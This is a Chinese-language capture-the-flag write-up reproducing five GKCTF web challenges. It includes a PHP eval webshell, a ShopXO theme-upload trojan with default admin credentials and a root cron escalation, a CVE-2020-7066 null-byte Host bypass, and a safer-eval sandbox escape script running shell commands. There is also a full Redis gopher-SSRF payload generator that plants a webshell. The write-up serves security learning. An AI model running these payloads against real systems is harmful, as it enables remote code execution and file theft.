不打比赛,永远不知道自己有多菜,这次跟往常一样,还是自闭,虽然听他们说,这次的题目算是比较简单的,对我来说,都一样,因为没有任何参与感,一点点复现积累吧。
这次题简单做出来了一道密码,一道misc,都是贼简单的。。。。。。做不出来真的是巨难受。web复现了五个,有的原理不太懂,写一下做题步骤吧
CheckIN
题目给了源码,看函数那一块代码,很明显能拼凑出一句话,@eval($_REQUEST[‘Ginkgo’]),所以就直接给了shell,就可以用蚁剑连接。
,蚁剑自带的base64编码器好像有的连不上,需要自己建一个编码器,就能连接成功了,
先传一个phpinfo看php的配置文件,发现有disable_functions以及/readflag,
需要绕过disable_functions,github上有exp:
https://github.com/mm0r1/exploits/blob/master/php7-gc-bypass/exploit.php,拿来直接用,上传到/tmp,然后传参base64之后的include(’/tmp/exp.php’);获取flag。
cve版签到
hint:cve-2020-7066
https://security-tracker.debian.org/tracker/CVE-2020-7066 看这篇文章可知有%00截断。
点一下之后会跳转,抓包看看,看响应包,有提示。
flag在本地,Host必须以123结尾。%00在这就起到了作用,点跳转的页面,改造一下url,拿到flag。
老八小超市儿
看这名字很有食欲有木有,打开之后是shopxo的模板,网上有教程,跟着做差不多就能做出来。
http://www.nctry.com/1660.html
登陆后台,网上有默认账号密码:admin shopxo
在应用中心下个免费的默认主题,然后把马文件放到放到压缩包的default_static_ 目录下
然后安装主题,马子就传到了网站。.安装成功后,shell就可以用了,地址是:http://xxx.com/pulic/static/index/default/shell.php,用蚁剑连接.
连接成功后就发现了flag和flag.hint,flag里肯定没有flag,要不hint就没用了。。。
假的flag,真的flag在/root,需要/root权限,看看hint,发现过一段时间就会刷新一次,有类似crontab的 东⻄,然后再去看.sh文件。
给了一个py文件,找到之后发现可以编辑,并且有root权限,可以在这个文件中执行脚本,不多说了,学python去了。搬运的脚本。
等一会去看flag.hint,拿到flag。
EzNode
知识点:绕过timeout;saferEval沙箱逃逸
给了源代码,js完全看不懂。。需要绕过timeout,setTimeout 当 delay ⼤于 2147483647 或⼩于 1 时,则 delay 将会被设置为 1。 ⾮整 数的 delay 会被截断为整数。所以直接传个大于等于2147483647的数绕过
const express = require('express');
const bodyParser = require('body-parser');
const saferEval = require('safer-eval'); // 2019.7/WORKER1 找到一个很棒的库
const fs = require('fs');
const app = express();
app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json());
// 2020.1/WORKER2 老板说为了后期方便优化
app.use((req, res, next) => {
if (req.path === '/eval') {
let delay = 60 * 1000;
console.log(delay);
if (Number.isInteger(parseInt(req.query.delay))) {
delay = Math.max(delay, parseInt(req.query.delay));
}
const t = setTimeout(() => next(), delay);
// 2020.1/WORKER3 老板说让我优化一下速度,我就直接这样写了,其他人写了啥关我p事
setTimeout(() => {
clearTimeout(t);
console.log('timeout');
try {
res.send('Timeout!');
} catch (e) {
}
}, 1000);
} else {
next();
}
});
app.post('/eval', function (req, res) {
let response = '';
if (req.body.e) {
try {
response = saferEval(req.body.e);
} catch (e) {
response = 'Wrong Wrong Wrong!!!!';
}
}
res.send(String(response));
});
// 2019.10/WORKER1 老板娘说她要看到我们的源代码,用行数计算KPI
app.get('/source', function (req, res) {
res.set('Content-Type', 'text/javascript;charset=utf-8');
res.send(fs.readFileSync('./index.js'));
});
// 2019.12/WORKER3 为了方便我自己查看版本,加上这个接口
app.get('/version', function (req, res) {
res.set('Content-Type', 'text/json;charset=utf-8');
res.send(fs.readFileSync('./package.json'));
});
app.get('/', function (req, res) {
res.set('Content-Type', 'text/html;charset=utf-8');
res.send(fs.readFileSync('./index.html'))
})
app.listen(80, '0.0.0.0', () => {
console.log('Start listening')
});
然后就是沙箱逃逸,网上有现成的Poc,拿来直接用。https://github.com/commenthol/safer-eval/issues/10
最后的脚本文件,运行拿到flag。
import requests
print(requests.post('http://98f12d25-3a2e-43a8-8fdf-f97c8393e93d.node3.buuoj.cn/eval?delay=156455465465464654645e308',data={
'e': """(function () {
const process = clearImmediate.constructor("return process;")();
return process.mainModule.require("child_process").execSync("cat /flag").toString()})()"""
}).text)
EzWeb
知识点:内网探测;ssrf;redis。
打开页面之后查看源代码,发现有注释?secret,访问一下得到内网的ip。
由于太菜,不知道怎么内网探测,看wp上说.11开着web服务,开着6379端口。然后都访问一下,
看师傅的博客上说,这是redis的报错,然后确实是Redis ssrf get shell。
搬运的exp:
import urllib
protocol="gopher://"
ip="173.68.54.11"
port="6379"
shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.parse.quote(redis_format(x))
print (payload)
运行一下会生成一个gopher://的url,然后提交一下就会上传一句话木马拿到shell,然后传参http%3A%2F%2F173.92.115.11%2Fshell.php?cmd=system(‘cat$IFS$9/flag’);拿到flag,这里有绕过空格,否则会报错。
参考y1ng师傅博客:https://www.gem-love.com/ctf/2361.html
GKCTF官方wp